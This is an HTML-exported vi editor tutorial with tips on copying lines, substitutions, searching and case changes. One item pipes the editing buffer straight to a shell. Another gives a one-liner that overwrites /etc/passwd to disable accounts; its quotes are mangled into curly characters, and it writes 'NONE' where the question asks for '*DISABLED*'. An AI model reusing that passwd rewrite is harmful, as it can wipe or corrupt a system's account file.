<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>-rwxr-xr-x 1 sss3 sss 54 Jan 27 11:10 ring10</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Then move the cursor to where you want the content of your file and type: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>:r ring10</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>You see the following in your file: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"><span style="mso-tab-count: 1;">          </span>for i in 0 1 2 3 4 5 6 7 8 9<br />
<span style="mso-tab-count: 1;">          </span>do<br />
<span style="mso-tab-count: 1;">          </span>echo ^G<br />
<span style="mso-tab-count: 1;">          </span>sleep 1<br />
<span style="mso-tab-count: 1;">          </span>done</span>
</p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></strong></p>
<h3 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950839"></a><a name="_Toc159993599"><span style="mso-bookmark: _Toc169950839;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';">1.7 VI Copy File to File</span></span></a><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';"></span></h3>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Here is how to copy the required number of lines from one file to another in VI editor.<span style="mso-spacerun: yes;">  </span>First use the following key combinations in the source file.</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Press ESCAPE</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Press Shift &#8220;(Shift double quotes)</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Press a</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Press the number of lines you want to copy</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">press y followed by another y</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Now press &#8221; : &#8221; (COLON) to get the vi prompt.</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Hit e &#8220;Destination file name&#8221;</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Once you enter the Destination file go to the line where you want the lines copied to be inserted.</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Press ESCAPE.</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Press SHIFT &#8220;(Double quotes).</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Press a.</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">Press p.</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 1in; text-indent: -0.25in; mso-list: l3 level1 lfo6; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Wingdings; mso-fareast-font-family: Wingdings; mso-bidi-font-weight: bold; mso-bidi-font-family: Wingdings;"><span style="mso-list: Ignore;">Ø<span style="font: 7pt &quot;Times New Roman&quot;;">  </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-weight: bold;">The lines get copied.</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h1 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950840"></a><a name="_Toc159993631"><span style="mso-bookmark: _Toc169950840;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';">2 </span></span></a><span style="mso-bookmark: _Toc169950840;"><span style="font-size: 10pt; color: navy; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';">Commonly used commands</span></span><span style="font-size: 10pt; color: navy; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman';"></span></h1>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<h2 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950841"></a><a name="_Toc159993632"><span style="mso-bookmark: _Toc169950841;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;">2.1 I&#8217;ve executed the following command &#8220;:10,15 s/this/that/g&#8221; in vi. Now I want to repeat the command for lines 20 through 25. how do I ring the command back up on the editor line?</span></span></a><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>The key here is to plan ahead. This is one way I would approach it: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>Create an abbreviation first: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span>:ab str s/this/that/g</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>Then you can execute your replacement as often as you want on any line(s) by typing: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span>:10,15 str </span></strong><em><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">space</span></em><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><br />
<span style="mso-tab-count: 2;">                   </span><strong>:20,25 str </strong><em>space</em><br />
<span style="mso-tab-count: 2;">                   </span><strong>:40,$-2 str </strong><em>space</em></span>
</p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>Note that the <strong>str</strong> MUST be followed by a space for the <strong>:ab</strong> to take effect. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950842"></a><a name="_Toc159993633"><span style="mso-bookmark: _Toc169950842;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;">2.2 How do I search for a word with blank spaces around it?</span></span></a><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>Type the following: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span>/\</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">[space]<strong><em>string</em>\</strong>[space][enter]</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>Don&#8217;t type each character in the square brackets (or the square bracket). </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950843"></a><a name="_Toc159993634"><span style="mso-bookmark: _Toc169950843;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;">2.3 How do I create a temp file while in vi without knowing the filename of the file I&#8217;m editing?</span></span></a><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;"><span style="mso-spacerun: yes;">  </span></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span></span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-spacerun: yes;"> </span>One way is to use <strong>:w %.tmp</strong><br />
<span style="mso-tab-count: 2;">                   </span>This says <strong>w</strong>rite (save) contents to the filename<strong>.tmp</strong>. <strong>%</strong> is a placeholder for the name of the file. </span>
</p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950844"></a><a name="_Toc159993635"><span style="mso-bookmark: _Toc169950844;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;">2.4 Do you know of a vi command to change all text (upper and lower) on a line to uppercase? I used the ~ command, but it just reverses the case.</span></span></a><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span></span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Type the following </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span>:s/[a-z]/\u&amp;/g</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>The <strong>\u</strong> changes case to upper (\l to lower)<br />
<span style="mso-tab-count: 2;">                   </span>The <strong>&amp;</strong> is the placeholder for each pattern/character found. </span>
</p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950845"></a><a name="_Toc159993636"><span style="mso-bookmark: _Toc169950845;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;">2.5 How do I change the contents of my entire file form a list of filenames to &#8220;mv filename /tmp/filename&#8221; ?</span></span></a><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>Content of vi&#8217;ed file: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>filea<br />
<span style="mso-tab-count: 2;">                   </span>fileb<br />
<span style="mso-tab-count: 2;">                   </span>:<br />
<span style="mso-tab-count: 2;">                   </span>filex<br />
<span style="mso-tab-count: 2;">                   </span>lastfile</span>
</p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span></span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Type the following: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span>:1,$ s#.*#mv &amp; /tmp/&amp;#</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>The <strong>&amp;</strong> is the placeholder for each pattern/character found. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950846"></a><a name="_Toc159993637"><span style="mso-bookmark: _Toc169950846;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;">2.6 How do I execute the contents of my file without exiting or saving my vi session?</span></span></a><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span></span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;">Type the following: </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span>:w !sh</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>This essentially means to write the entire editing buffer to a shell for execution. At this point you can quit vi, and the job is </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>done. </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; mso-pagination: none; tab-stops: list .25in; mso-layout-grid-align: none;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
<h2 style="margin: 0in 0.1in 0pt 0.5in; text-indent: 0in; mso-list: none; tab-stops: .5in;"><a name="_Toc169950847"></a><a name="_Toc159993638"><span style="mso-bookmark: _Toc169950847;"><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;">2.7 I have a file that contains 8000 user IDs that need to be disabled by putting &#8220;*DISABLED*&#8221; in the second field of /etc/passwd?</span></span></a><span style="font-size: 10pt; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-family: 'Times New Roman'; mso-bidi-font-style: italic;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: small; font-family: Times New Roman;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; tab-stops: list .25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>Content of vi&#8217;ed file:</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; tab-stops: list .25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>c04821<br />
<span style="mso-tab-count: 2;">                   </span>c04822<br />
<span style="mso-tab-count: 2;">                   </span>c05035<br />
<span style="mso-tab-count: 2;">                   </span>:<br />
<span style="mso-tab-count: 2;">                   </span>:<br />
<span style="mso-tab-count: 2;">                   </span>c05555<br />
<span style="mso-tab-count: 2;">                   </span>c15556</span>
</p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; tab-stops: list .25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                   </span>Type the following on the same line (no carraige returns):</span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; tab-stops: list .25in;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span>:1,$ s#.*#grep -v ^&amp;: pwd &gt; /etc/passwd; awk -F: &#8216;/^&amp;:/ {print <span style="mso-tab-count: 3;">                         </span><span style="mso-tab-count: 2;">                        </span>$1&#8243;:NONE:&#8221;$3&#8243;:&#8221;$4&#8243;:&#8221;$5&#8243;:&#8221;$6&#8243;:&#8221;$7}&#8217; pwd &gt;&gt; /etc/passwd; </span></strong></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; tab-stops: list .25in;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span>cat /etc/passwd &gt; <span style="mso-tab-count: 1;">            </span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; tab-stops: list .25in;"><strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"><span style="mso-tab-count: 2;">                        </span>pwd#</span></strong><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"></span></p>
<p class="MsoNormal" style="margin: 0in 0.1in 0pt 0.5in; tab-stops: list .25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;;"> </span></p>
